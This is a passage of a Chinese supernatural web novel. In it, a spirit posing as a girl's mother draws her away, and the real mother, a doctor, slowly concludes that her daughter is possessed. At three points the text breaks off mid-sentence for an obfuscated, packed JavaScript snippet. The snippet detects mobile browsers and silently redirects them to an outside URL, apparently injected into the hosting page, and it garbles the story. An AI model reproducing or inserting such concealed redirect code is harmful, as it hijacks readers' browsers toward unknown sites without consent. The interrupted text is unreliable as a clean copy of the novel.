许奈只觉得原本有力的身体一软,力量被抽离,紧接着,她的妈妈出现在她面前,但给她的感觉并不像她真正的母亲。 她猜到一个可能:“你是阿家?” “妈妈”点点头:“是我,我是阿家。” “你为什么和我的妈妈长得一样?”许奈惊讶于她的容貌,竟然和自己的母亲一模一样,只是给她的感觉与母亲不同,眼前的人浑身散发着温暖祥和的力量,让她想靠近,想拥抱,想沉沦在那温暖的怀抱之中。 “因为我就是你的妈妈啊。”“妈妈”的声音极具蛊惑,她用拥抱将许奈拉入一个温柔乡,“走吧,跟妈妈回家。” 许奈就像漂泊在海平面上,被狂风暴雨折磨的小船终于回到可以停歇的港湾一样,她紧紧抓住眼前能拴好自己的绳索:“我们回家,妈妈。” 屋内,等了许久都没见许奈回来的刘书雪终于等不下去,她拿上许奈的鞋子和衣服出门,在小区里所有可能藏匿的地方都找了一遍,却没看见许奈。 她先是给小区管理监控的人打电话调监控,接着联系学校的老师,问和许奈关系好的几个同学的家长,许奈有没有去她们家中。 监控那边显示许奈并没有离开小区,班主任那边也很快回过来消息,许奈没去同学家。 得到消息,刘书雪又拿着手电筒在小区里找人,她找了整整一个晚上,还跟医院请了一个上午的假,准备再找不到许奈就去报警。 星期四,早上八点,快没电的手机不再待在口袋里沉默。 刘书雪接通电话:“喂,赵老师,有我女儿的消息了吗?” “许奈在学校,她没事,我让她跟你通电话。” “喂,奈奈?”刘书雪惊喜交加,“你昨天晚上在哪里?我给你打电话你为什么不接?你没事吧,早上吃饭没有?有什么话我们不能好好说吗,为什么要离家出走,你知道妈妈心里多担心你吗?” 她不敢刺激许奈,怕许奈再上演一次离家出走。 她一连串的问题让那边沉默了许久才回复:“昨天晚上我在家睡觉,没听到电话,我以为你在加班,妈妈,我没有离家出走,你是不是工作太累了。” 电话那头传来女儿的声音,冷冰冰的,刘书雪来不及探究她的语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060474|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只在想许奈的话是什么意思。 回过神,她已经打开家门进来,门口墙上还挂着她给许奈配的家门钥匙。 刘书雪意识到不对劲:“奈奈……” “妈妈我还要上课,先挂了,拜拜。”不等她问,许奈掐断电话。 看着手机停电关机,刘书雪揉了揉乱糟糟的头发。 昨天她出门的时候,分明见这把钥匙是在墙上挂着的。 她出去的时候锁了门的,许奈没有钥匙,是怎么回到家中的? 监控显示许奈没有出过小区,小区每个角落她都找了好几遍,不见任何人影儿,那许奈昨天晚上到底在哪里? 刘书雪又找了小区的人调监控,可监控无论怎么看,许奈昨天晚上都没有出门,一直在家里待着,早上才出门去上学。 她脱掉鞋子坐在客厅沙发上休息,找了一晚上她又累又饿,也懒得做饭,便打算把昨天晚上买的蛋糕当饭吃。 她解开蛋糕上的蝴蝶结,拆开包装,就见蛋糕上的“妈妈”两个字被涂花了。 她打开手机仔细看老板发来的包装视频,老板在包装的时候,蛋糕上的字是完整的。 就连那个蝴蝶结的大小都和她打开前一模一样,分毫不差。 那为什么只有“妈妈”两个字是被涂花的,“宝贝女儿生日快乐”这几个字却没有? 一晚上没睡的疲惫和饥饿袭击着她的意志,她边吃蛋糕边强打着精神盘算昨天发生的事情。 昨天晚上许奈离家出走后,她在客厅等着许奈回来,一直没等到,便出门去找,临走的时候锁上了门。中间她回来了好几趟,确认许奈没有在家里等她。 许奈明明是跑出去了的,为什么监控显示没有? 她跑到许奈屋子,把垃圾桶翻出来,并没有看见自己昨天撕碎的那几封情书。 再加上刚刚通电话时女儿那几句话,刘书雪开始怀疑自己,难道真是自己最近加班太多,精神出问题了吗? 她抱着怀疑的态度,找了一家精神专科医院挂号,准备去看看,看时间还充裕,她给手机充电开机,定了一个闹钟后躺下补觉。 睡着后,刘书雪做了一场梦,她梦见自己生育时的场景。 她刚生完孩子从手术室出来,身体虚弱正在床上躺着,小小的许奈就在她枕头旁边甜甜睡着。 不久后,一个看不清脸的女人从外面进来,准备把她枕边的许奈抱走。 她心中升起恐慌,用尽力气和女人抢夺孩子,还大声喊人过来帮忙。 可是没有人能听见她的声音,反倒是将许奈吵醒,许奈醒来后被两人的争抢吓到,开始哭。 哭声穿透两人耳膜,女人不知道为什么突然就松开手,她的手也莫名脱力,许奈重重摔落在病床上。 刘书雪猛地从梦中惊醒。 闹铃在床头柜疯狂响着,她关掉闹钟,起来洗漱上班。 下午,刘书雪补请了两天假,准备做个检查,再好好休息一下。 因为噩梦的原因,她心里总是惶惶不安,便决定下班后去学校接许奈放学。 许奈从校门出来就开始东张西望,远远看见刘书雪,她加快脚步,一路小跑来到刘书雪面前,但靠近她之后,笑容又瞬间消失:“妈妈,你怎么来接我了?” “今天没有加班,我请了两天假,等周六我带你出去玩。” 刘书雪没有在意许奈的变脸,问起她在学校的事情。 许奈上车的时候,她注意到许奈脚上的鞋子,是她从来没有见过的。 许奈的衣食住行都是她一手管理的,她从来没有给许奈买过这种款式的鞋子。 而且这个牌子,对她和许奈来说有一点贵。 17.偏印 回到家后,许奈一反往常没有去写作业,她挽起袖子来到厨房:“妈妈,晚上我们一起做饭吧,我学了一道菜想做给你尝尝……” 说完,许奈转头看向刘书雪,刘书雪刚巧接到张姐的电话,她捂住话筒敷衍许奈:“改天再做吧,我得出去一趟,你先写作业,想吃什么发给我,等我回来给你带。” “好吧。”许奈闭口,看着刘书雪穿鞋拿上钥匙出门。 她离开后,许奈没有去写作业,从冰箱拿出鸡蛋,准备继续做饭:“阿家,你想吃西红柿炒鸡蛋吗?” 温暖的感觉又从周围朝她身上裹来,她手中的鸡蛋被拿走,梦中熟悉的声音在耳边响起:“妈妈和你一起做好不好?” 许奈露出微笑:“好啊。” * 刘书雪按照定位导航来到卖监控的门市,同事张姐和她的闺蜜已经到了有一会儿,两人面前摆着几款摄像头,正在和老板咨询这几个摄像头的功能。 她走过去:“张姐,选好了吗?” “你来了,快来看看,我们选了这一款联网的,可以录像回放,还可以通电话。” “那就这个吧。”刘书雪对这个研究不多,张姐买什么,她就跟着买什么。 三个人付了钱,留下家庭地址后约好上门安装时间后,就各自回家。 回家路上,刘书雪去饭店打包了几道许奈喜欢的饭菜。 她回来时,客厅留着一盏小灯,屋内飘着饭菜的余香。 看着厨房窗户开着,她以为是别人家做饭的味道飘过来了,便没有在意,过去敲许奈的门:“奈奈,我买了饭,先出来吃饭再写作业吧。” 许奈开门,拒绝她:“不用了妈妈,我吃过了。” “你点外卖了?”刘书雪把刚才的饭香自觉归于许奈的外卖。 为了避免麻烦许奈点点头:“嗯。” “那好吧,你写完作业别熬夜,早点睡觉。” “嗯。” 许奈默默把门关上,转身见到阿家坐在床上,正捧着她喜欢的漫画在看。 见她把门关上,阿家晃了晃手中的漫画书:“写作业累了吧,来和妈妈一起看会儿漫画吧。” 许奈走过去,接过阿家递来的漫画书:“这不是新一期的漫画吗,好难抢的,你抢到了!” “只要是我女儿想要的,再难抢我也能抢到。” “妈妈,你真好。”许奈紧紧抱住眼前的人,让自己像一个三岁的小孩子一样紧贴在阿家的怀抱。 阿家很喜欢许奈这样抱着自己,她一边摸着许奈的头发,一边亲吻她的额头:“妈妈永远对奈奈好,奈奈也永远陪着妈妈好不好。” “好。”许奈将漫画打开,不再管桌上的作业是否写完。 反正阿家……妈妈会帮她写完的。 星期五。 刘书雪一早就去医院做了检查回来,确认自己没有什么毛病之后,她带着深深的疑惑回到家中。 安装监控的师傅给她打了电话,她放下疑惑,指挥师傅把监控安装在客厅里。 把师傅送走后,她自己拿着说明书研究监控,又趁着休息时间给家里做了一个大扫除,顺便把家里养的花该修剪的全部修剪一遍。 弄完这一些,她想起来许奈房间里还养着一盆,拿着水壶过去。 这盆花只发了一个不太大的芽,土壤湿湿的,很显然不缺水分,就是这会儿阳光照不到,不利于生长。 刘书雪自作主张把花盆搬到阳台晒太阳,等太阳落山才放回去,拿上钥匙出门去接许奈。 今天周五,学校门口人特别多,学校提供住宿,不少家长为了不让孩子来回跑耽误学习,办理了住宿。 所以一到周五的时候,校门口人就特别多。 刘书雪一开始是想给许奈办住宿的,但又觉得会耽误许奈学小提琴,便没有办。 校门口熙熙攘攘,许奈跟几个同学一起出来,看到刘书雪在门口等自己,便和同学说了再见,小跑着来到她身边。 刘书雪把她的书包拿下来,提在自己手里:“有没有想好明天想去哪里,你以前不是说想去游乐场坐摩天轮,我陪你去怎么样?” 许奈摇摇头:“我不想去游乐场了。” 在梦中,阿家已经带着她把游乐场玩到腻了。 妈妈现在再提出要陪她去,已经晚了。 “那你想去哪里?” “我哪里也不想去,我想在家写作业。” 刘书雪记得许奈说过想去漫展,又问:“那我带你去漫展怎么样?” “不想去,还不如在家练练小提琴。”过去的欲望全部得到满足,许奈不再对其痴迷:“妈妈,你在家好好休息吧,我哪里也不想去。” 刘书雪忙于工作,是一点都不理解女儿这个年龄段会喜欢什么样的事物,见许奈如此选择,她没再说什么:“好吧,我们奈奈真的长大了。” 回到家,许奈发现自己屋子里的花盆被动过,忙出来问:“妈妈,你动我的花盆了?” “今天阳光好,我把它搬出来晒了晒,怎么了?” “没什么,以后不要给它晒太阳了,它不喜欢晒太阳。” “行。” 许奈说完回屋的时候,看到了刘书雪买的摄像头:“这是什么?” “是摄像头,以后你放假,我不在家的时候,你就在客厅写作业,我可以看着你,还可以跟你说话。” 刘书雪并没有注意到许奈脸色越来越差,只是自顾自说着:“你不是总嫌我没时间陪着你吗,这下有时间了。” 许奈没说话,黑着脸回到卧室。 桌上摊开的作业已经写了一半,许奈坐到床上,良久开口:“她买了一个监控。” 桌上的笔刷刷写着,速度飞快,闻言却顿住:“除了你,谁也看不见我,没事的。” “阿家,那盆花晒了太阳,会不会不太好。” “不会,它没事。”阿家写完将作业合上,“晚上多晒晒月光补回来就好了。” “那就好。” “晚上想去哪里,我带你去。” “哪里也不想去。”许奈躺下看着天花板,意识放空,过了一会儿,她挪动身体往床中间躺去,拉过被子盖上睡觉。 阿家见她睡着,不再管作业,关灯进入她的梦中。 星期六。 许奈早早醒来,站在阳台拉小提琴,她手上熟练的演奏着复杂的乐曲,眼神空洞望着窗户倒影出的自己。 哪怕手臂发酸,手指发疼,她也没有停下,像是在折磨自己。 刘书雪去超市采买回来新鲜的蔬菜,在家里做了许奈最爱吃的饭菜,端上桌后见许奈还在弹琴,招呼她过来吃饭:“别练琴了,过来吃饭吧。” “来了。” 许奈放下那把昂贵的小提琴,洗手来到餐桌旁。 她夹菜的动作很慢,刘书雪以为她是不爱吃,问:“不好吃吗?” “不是,很好吃。”只是练琴太久手有点累。 手忽然被人托起,许奈惊讶发现阿家正站在她身边,握着她的手操纵筷子,将一块排骨夹到碗里。 她下意识看向刘书雪,刘书雪并没有发现阿家的存在。 她又转头看了眼阿家,阿家将食指竖在唇前,提醒她不要出声:“嘘——” 吃完饭午休过后,许奈被刘书雪叫来客厅写作业,她的手握在笔上,看似是她在用笔写作业,实际上写作业的是她身后的阿家。 她阅读文学名著,书里面夹着的却是漫画。 她放英语听力,里面播放的却是广播剧。 每一件事,在刘书雪眼里看来,都是一个好学生应该做的。 但每一件都不是。 在母亲面前叛逆,虽然不是光明正大,但也是许奈想都不敢想的事情。 一种从未有过的,因为叛逆带来的爽感刺激着许奈的身体和灵魂。 阿家告诉她,这种感觉叫自由。 不被练琴,作业,阅读,外语所束缚的自由。 许奈很喜欢,特别喜欢。 麻木的人尝到自由的甜头后终于恢复了活力。 晚上。 刘书雪去上夜班,临走时叮嘱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060475|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许奈锁好门早点睡觉,不要玩手机熬夜。 值班不忙的时候,她躺在值班室床上,打开手机想看看家里的监控。 监控画面很清晰,哪怕是夜间屋子里没开灯,也能看清客厅的东西。 她盯了一会儿觉得没什么意思,刚准备退出软件,就发现许奈从屋子里出来了。 她没有上厕所,直接来到客厅把窗帘全部拉开,让月光透进来。 刘书雪调整监控视角往阳台看去,许奈站在阳台上,隔着窗户仰头往外看,月光洒在她身上,她的身体隐隐约约发着白光。 在她打开声音想喊许奈去睡觉的时候,许奈突然跪下,对着窗户磕了三个头。 她再也忍不住:“奈奈,你在干什么呢?” 许奈没有回应她,站起来,走向沙发躺下。 接下来的晚上,刘书雪不敢关手机,守着许奈一整晚,第二天交完班就马不停蹄回到家中。 她一进门,就问许奈:“你昨天晚上不睡觉出来干什么?” 许奈却一脸懵:“我没有出来啊,妈妈你是不是上夜班没有休息好出现幻觉了。” “不是幻觉。”刘书雪跑到门口鞋柜,想找到许奈那双她没有买过的鞋子,却发现鞋柜里根本没有那双鞋。 “你前两天穿的那双鞋呢?” “不是在鞋柜里吗?” “我去接你那天,你穿的那双鞋,我没见过的那双。” 许奈走过来,看着鞋柜里的鞋:“你就给我买过这几双鞋啊,都在这里了。” 刘书雪又开始陷入自我怀疑,她看着许奈,许奈向来不会说谎,她拙劣的骗技从来都是漏洞百出。 少女面色坦然,没有半点撒谎过后的眼神躲闪。 “是吗?”刘书雪只能将怀疑压在心底,“那可能是我记错了吧。” “妈妈,你不行就再请几天假休息休息吧,别太累了。”许奈关心她的身体,刘书雪揉了揉她的脑袋:“可能是没睡好,我去睡一会儿,中午你点外卖吃吧,不用叫我。” “好。” 刘书雪回了房间,马上将门反锁,打开监控。 监控画面里,许奈和平常一样,坐在沙发上看书。 见没什么异常她放下手机准备休息一会儿,却看到张姐给她发消息。 张姐:【你有个病人出事了。】 刘书雪:【?】 刘书雪:【我马上过去。】 张姐:【不用过来,你好好休息吧,人抢救回来了,我给他开了点药,现在正在观察。】 张姐:【你是不知道现在人有多迷信,今天查房我还特意又叮嘱他一次不能吃不能喝,他和他家属不知道从哪里弄了一道符,背着我们给他烧成水喝,你说人怎么能这么迷信?再晚一秒他命就没了。】 刘书雪:【……】 刘书雪思虑再三,还是去了医院一趟,检查完病人状态后,把家属叫到一边狠狠批评了一顿。 批评完,看家属都保证不会再搞乱七八糟的东西喂给病人吃之后,她回到办公室和张姐吐槽:“虽然他们给我保证过了,但我觉得他们还是会干。” “没办法,我已经跟院长说了,她等会儿开完会就过来,遇到这种病人,我们也只能勤去看着。” 刘书雪叹口气,想到昨天晚上许奈的怪异举动,还有以前钱包里出现的那些□□票,她问:“张姐,你说这世上真的有鬼吗?” 张姐没说话,只是反问她:“你说咱们病床不够的时候,为什么不往那些空着的病床安排病人。” 说完她补充一句:“信和迷信是两回事,要是百求百灵,你我还坐在这儿干什么?” “也是。”刘书雪打开手机,在网上搜索关键词:“这世上真的有鬼吗?” 乱七八糟的解释看得她眼花缭乱,她在其中发现一个论坛,讲的都是各种奇怪的事情,她看了几个,发现好多都是骗子。 她看得头疼,切回后台清理掉,又打开监控软件看许奈。 她没有开声音,监控里许奈在客厅自言自语,看着像是在跟什么东西说话一样。 18.偏印 刘书雪掏出手机,算算自己下次下夜班的日子,在精神专科医院又挂了一个号。 看着快到下班时间,她起身去换衣服:“张姐,我先回去了,有事儿给我打电话。” 张姐正在写病例,闻言抬头:“回去吧。” 从医院回到家,刘书雪观察到许奈又恢复平常,没有什么怪异的举动,也不自言自语。 晚上,她躺在床上,想着这些天碰到的怪异,翻来覆去,怎么也睡不着。 “咔哒——” 这是门锁被从屋内打开的声音。 许奈起夜了。 刘书雪听见许奈从房间出来后,下意识就拿出手机看监控。 画面中,许奈来到客厅拉开窗帘,今天的月光也很明亮,一下子把客厅照的亮堂堂的。 和上一次一样,许奈跪下对着月亮拜了三下。 担忧打败了心中的恐惧,从房间出来,顺手抄起扫把,走到许奈身后一米远的位置停下。 她握紧手里的扫把,问:“奈奈,你不睡觉在这儿做什么呢?” 许奈好像是听见了,她从地上站起来,缓缓转过身。 她紧闭着双眼的,朝刘书雪这里走来,像是在梦游一样,刘书雪让开一条路,许奈自己慢悠悠走到沙发上,躺下睡觉。 刘书雪舒了一口气:“原来是梦游啊。” 她去屋子里拿了被子过来,盖在许奈身上,许奈侧着身,睡得鼾甜,全然不知发生了什么。 刘书雪没有急着回屋睡觉,她坐在许奈脚边,守着许奈。 她已经多久没有这样陪伴女儿了呢?她也记不清了。 自从丈夫去世后,她为了赚钱申请调换去一个很忙的科室,把许奈丢给妈妈带,自己不忙的时候就回去陪许奈。 那段时间她上班早下班晚,通常都是许奈还没醒她就起床,许奈睡了她才回来,母女俩人只有在她下夜班的时候才能见一次。 她也有妈妈,她的妈妈心疼她上班辛苦,不让许奈去打搅她休息,因此母女俩人见面的时间更少。 后来她的妈妈去世了,许奈在这个世界上的依靠只剩下她一个,她便一边上班一边照看女儿。 可时间总是不够用的。 她连着做完几场手术下来,累得只想躺下睡觉休息,和女儿的交流也就越来越少。 她怕许奈一个人在家孤单,给她报了很多兴趣班,让她学习更多的本领,充实课余时间。 她还怕因为自己沟通的少,女儿会学坏,一有精力就观察女儿是否学坏,虽然严厉了一些,但是…… 她这都是为了女儿的未来考虑,她完完全全是为了女儿好。 或许奈奈现在不懂,心里也会埋怨她,但等她长大,就会明白一个做母亲的良苦用心。 墙上的奖杯将月光折射过来,刘书雪注意到,起身将窗帘拉上。 她走过来,轻轻在女儿脸上亲了一口。 许奈的优秀让她知道,她的辛苦都是值得的。 总有一天,许奈会明白她的付出。 会理解她的良苦用心。 会明白她的爱。 刘书雪回到房间,关上门上床睡觉,殊不知在客厅,被她拉上的窗帘又被拉开,月光完完全全洒在许奈的身上。 又是星期一。 母女两人重新回到过去的相处模式。 刘书雪做好早餐放在桌子上,许奈上学的时候拿上。 之前莫名其妙的争吵就像是没有发生过一样,掩盖在两人心底,谁也不愿翻出来。 中午。 吃完饭,趁着午休时间还没有到,许奈从抽屉掏出那几封情书,交给朋友:“你要的道具,我准备好了。” “谢谢你奈奈。”女生收下那几封情书,将带来的辣条从课桌拿出来塞到许奈手里:“请你吃辣条。” “谢谢。”学校不允许吃零食,为免被监控拍到,许奈快速将辣条收起来。 女生拆开情书仔细检查台词,问她:“你真的不考虑和我们一起出演话剧吗?” “不了,我报名了小提琴表演。” “好吧,那你好好练琴。”女生见许奈拒绝,不再邀请她。 许奈回到自己座位上,她一离开,几个女生瞬间将刚才的女生围起来:“道具做好了,我看看,奈奈写的字真漂亮。” “早知道我也让我妈给我报个书法班了,好漂亮的行楷。” 几个人声音不算大,但许奈还是听得清清楚楚。 “我昨天梦见我们演话剧来着,你还在里面摔了一跤。” “我也梦见了,我们梦的一样诶。” “我也是,主持人是不是咱们数学老师,穿着一条红裙子。” “是,你也梦见了。” “这么说我们几个人做的都是同一个梦啊。” “我醒过来又累又饿,害得我多吃了一份早饭,你们呢?” “我也是,不知道为什么做完那个梦可累了,就好像我们真的排练完一场一样。” 许奈趴在桌子上,听着几个女生讨论那个奇怪的梦,一中午没睡着。 下午放学的时候,她在路边遇见一个奇怪的男人,和对方对上眼神后,她的心里莫名生出一阵恐惧感。 对方注意到她,朝她这里走过来,许奈也不管别的,趁着公交停了赶紧上去,在后排找到位置坐下。 看着公交车门关上,车子重新发动,男人都没追上来,许奈心里舒了一口气。 她一路沉默寡言,一直到进入家门回到卧室,她才忍不住问出声:“那个大叔……我为什么对他那么害怕。” “别怕奈奈,不会有事的,我会保护你。”阿家显形,将许奈抱在怀中,用温暖驱散她的恐惧:“谁也不能将我们分开。” 心中的恐惧消散,只留下积累一下午的疑惑,许奈又问:“我同学她们做梦表演话剧,是你做的吗?” “是。”阿家承认。 “为什么?” “我在帮她们啊,她们不是说没时间排练话剧吗?在梦里时间很多。” 许奈信了她这番说辞:“这样啊。” 阿家见她如此好说话,微微一笑:“好了奈奈,我们一起写作业吧,昨天不会的题我来教你。” “嗯。” 许奈打开房间内的灯,阿家起身将窗帘拉上,偏偏留了一条缝隙给那盆植物。 星期四。 刘书雪下夜班,联系许奈班主任赵老师,给许奈请了一上午假去医院做检查。 许奈对此并不知情,她侧头看着沿路的风景,问:“妈妈,我们这是去哪里?” “去医院给你做个检查。” “可是我没有生病啊。” “那就当体检吧,也很久没有带你去做体检了,做完检查我再送你回学校。”刘书雪随便找了个借口,她今天必须给许奈做检查,看看到底是她们谁出了问题。 想到上次体检是三个月前,许奈沉默了一会儿,问:“妈妈,母亲节那天你有没有时间?” “哦,忘记跟你说了,今天晚上我要去外面培训,你一个人在家不要出门,有事儿就给我打电话,好吗?” “……”许奈神情失落,“好。” 进入医院之后,她跟着刘书雪在医院跑来跑去做检查。 在得知结果没有问题的时候,刘书雪让许奈等在门外:“你在这里不要乱走,我进去和医生说说话。” “好。”许奈在走廊的椅子上坐着,玩着小游戏打发时间。 不知道过了多久,刘书雪从里面出来:“奈奈,走了,我送你回学校。” 许奈又被送回学校,回班级的路上,她总能听见路过同学在讨论这次母亲节学校举办的活动。 在本周日上午,学校邀请学生妈妈来参加母亲节活动,顺便观看由学生自发报名参加的演出。 她的同学们出演了一个防早恋的话剧,情书就是其中的道具,她帮忙准备了一下,没想到还因此和妈妈爆发争吵。 她原本是想和同学一起出演话剧的,不过吵架后她决定避嫌,单独报名表演小提琴给妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060749|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,并趁机解开情书误会。 可惜,妈妈不能来参加了。 不过没关系,阿家可以代替妈妈过来参加。 妈妈做不到的,阿家可以,就像把情书复原一样。 星期日。 今天是母亲节。 许奈起床后给刘书雪发了一个【母亲节快乐】,刘书雪回了一句【谢谢】,又给她发了一个大红包。 许奈领了红包,带上服装和小提琴坐公交来到学校,去了更衣室。 “奈奈,你妈妈呢,她没陪你来吗?” 参演话剧的女生已经换了衣服,正在外面玩手机,看到许奈一个人,多嘴问了一句。 许奈提着手上的衣服往里面走去:“她要晚一点再来,我先去换衣服。” 许奈来到更衣室,反锁上门,将漂亮的公主裙换上,对着镜子转了一圈。 她小时候经常穿这种裙子,那时候,妈妈还会给她梳很好看的小辫子做发型,家里人都会夸她像童话世界的小公主。 而现在,她已经记不起妈妈多久没有给她梳过辫子了。 手里的梳子忽然被人拿走,镜中倒映出阿家的身影,她低着头,认真的为她梳着头发。 那一瞬间,给许奈的感觉像是妈妈亲自过来给她梳头,她盯着镜子,看阿家动作轻柔为她绾发。 阿家的手和妈妈的一样巧,为她编好辫子后固定好发型后,又变出来一个鲜花编制的花环戴在她头上。 少女脸上虽然不施粉黛,却美得像花仙下凡。 “用我的术法化妆吧,不伤皮肤。”阿家巧手一挥,精致的妆容如同锦上添花,出现在少女脸上。 许奈的节目被排在前面,她打扮好后去排队,很快,前面几个节目结束后,就轮到她上台。 许奈拿着小提琴上台,一眼就看到人群中的阿家,她抬手,将琴弓搭在小提琴上,献上一曲《致母亲》。 一曲终了,许奈在掌声中退场回到更衣室,阿家早早等在里面,见她回来,将她抱住,夸赞道:“奈奈真棒,妈妈很喜欢你的表演。” “谢谢。” 许奈把衣服换下,和阿家一起回到观众席观看后续的节目,安全忘记给刘书雪拍视频,回消息。 一直到晚上回到家中,她才看到刘书雪发来的信息。 她正思考着怎么回复,手机就被阿家夺走,帮她一一回复。 阿家把手机放回她手心,催着她去休息:“今天玩得累了吧,快去洗澡睡觉吧。” “嗯。”许奈看着刘书雪发来晚安,关掉手机去浴室洗澡。 刘书雪这边,她回完消息后,高铁刚好发车。 这是最早回家的一趟车,虽然是在半夜,但她觉得能早点回去还是早点回去的好。 许奈一个人在家,虽然有监控什么的,但她还是不放心。 从车站出来的时候,已经是夜里两点。 刘书雪拉着小行李箱,边看手机边走路,突然被一个中年男人拦住:“这位女士,请问您身边最近有没有遇到什么奇怪的事情?” 男人手中拿着一个类似罗盘一样的东西,箭头正指向她,刘书雪起了防备心:“没有,你离我远一点,不然我喊保安了。” 男人往后退了几步,保持一个安全距离,解释道:“我不是坏人,我就是想问一下,你最近有没有遇到什么奇怪的事情,比如说做梦醒来身体很累,食欲大增什么的。” “没有。”刘书雪拖着行李箱加快脚步,“你别跟着我,你再跟着我我就报警了。” 听到“报警”两字,男人这才止步,他低头看着罗盘的指针,拨弄到相反的方向后,指针又指向刘书雪,且跟着刘书雪开车离开的方向而转动。 “坏了吗?” “喂,你干什么呢?”巡逻的保安早就发现他在这里行为怪异,手里拿着个罗盘不知道在研究什么。 一开始以为是精神病,可他不做什么过分的事情,他也没有理由抓人。 现在见他大晚上骚I扰人,马上把这个人抓了送进警局。 19.偏印 从高铁站离开,一路安安静静,宽阔的马路上只有刘书雪驾驶的这一辆车经过。 为了给自己提精神,刘书雪关上车窗,打开音乐,选了几首很嗨的DJ乐曲。 一路平安到家,她拿钥匙打开家门,把行李箱拖进来后,发现许奈又睡在沙发上,窗帘大开着,月光洒在她身上,将她完全包裹。 不知道是不是错觉,看到许奈睡在月光中时,她莫名觉得瘆得慌。 此情此景,让她想起在高铁站遇到的那个中年男人,还有他那个问题:“你最近有没有遇到什么奇怪的事情?” 许奈是梦游,但这梦游的太诡异了。 她为什么非要拉开窗帘,还要对着月亮跪拜磕头,睡在月光中? 这行为哪里像梦游,分明是跟中邪了。 “奈奈,奈奈?”刘书雪上前,想将许奈叫醒,但许奈睡得很沉,怎么叫都醒不过来。 刘书雪将窗帘全部拉上,把许奈抱回屋子,她的动作并不轻,还磕碰到一些东西,在这么大动静的打扰下,许奈仍然没有任何醒来的迹象。 做完这些,刘书雪还是不放心,把枕头拿过来和许奈一起睡。 怕许奈趁着她睡着又梦游出去,睡前她把许奈的手和自己绑在一起,确认许奈一动自己就会醒后,才放心睡下。 刘书雪是很少做梦的,上一次做梦,是梦见许奈被人差点抢走,不过也就那一次,之后便没有做过。 可今天晚上,她又做梦了。 和上一次的梦一样,又有人来抢她刚生下的孩子。 她还是和上一次一样,只有刚做完手术的疲惫和无力。 她死死拽着那人的手,按下床头的呼叫铃,却发现呼叫铃是坏的,她张嘴想喊丈夫,却怎么也发不出声。 她抓着那人的手,过了许久,仍然不见一个人来帮忙,她开始脱力,对方轻而易举把她的手掰开,将孩子抱走。 她心痛无比,用身体最后的能量支撑自己起身去追,却在下床的时候脱力,重重摔在地上,小腹的刀口好像开了,痛感格外真实。 从噩梦中惊醒后,刘书雪下意识捂住自己的小腹和看向自己的身边。 看到许奈还在睡觉,她舒了一口气,解开手上的束缚,轻手轻脚去浴室冲去身上的冷汗。 同样的梦,不同的结局,好像在暗示她有人要将她的女儿从她身边夺走一样。 刘书雪终于不再把这几天发生的事情归于许奈梦游和自己精神错乱。 她没有一点问题,有问题的是许奈,许奈肯定是中邪了。 将最近奇怪的事情全部复盘了一遍后,刘书雪决定从钱包开始查起。 当初被她扔掉的那些小卡吧唧什么的她后来查过,价格并不便宜,她给许奈的零花钱可买不起那么多。 趁着许奈还没有睡醒,刘书雪偷偷拿了许奈的钱包,钱包摸着比以前厚许多。 她打开,发现里面塞满纸币,将那些纸币拿出来后,发现上面印的和钞票不一样,更像是祭祀时用的冥币。 她把钱包倒了个空,里面除了几枚硬币以外,全是冥币。 刘书雪觉得恐怖。 之前许奈买的那些小卡什么的,还有鞋子,去餐厅吃饭,花的想必都是这种钱。 离家出走,自言自语,梦游还有拜月亮,应该都是花了这些钱导致的。 刘书雪再一次确认,许奈惹上了不干净的东西。 意识到这一点,她终于不再保持心中的侥幸。 她上网搜了一些关于抓鬼的,发现附近很多人都发贴讲自己遇到的奇怪事情,比如做噩梦,醒来身体疲惫食量增多,和高铁站遇到的那个中年男人说的一样。 评论区全是推荐大师的评论,她从一众骗子评论里挑选,最后找出一个住在她附近的大师。 她抱着试试的心态在评论区加了一个大师,和大师聊了几句之后,从大师那里买了一道符回来。 做完这些,刘书雪把钱包收好,放回许奈房间,准备出来的时候,许奈从床上坐了起来:“妈妈,你什么时候回来的?” “昨天晚上。”她转身回来,坐到许奈床边,看着睡眼惺忪的女儿,问:“奈奈,昨天晚上睡得怎么样,有没有觉得哪里不舒服?” “有点累。”许奈打了个哈欠,看着时间才六点半,便问:“妈妈我可以再睡一会儿吗?” “睡吧,妈妈给你请假,你想睡多久睡多久。” “谢谢妈妈。”许奈听到刘书雪要给自己请假,翻了个身继续睡了。 刘书雪从她房间出来,拿了车钥匙去大师家里拿买的符。 大师家距离她不算远,她按着定位到的时候,已经有很多人在等了。 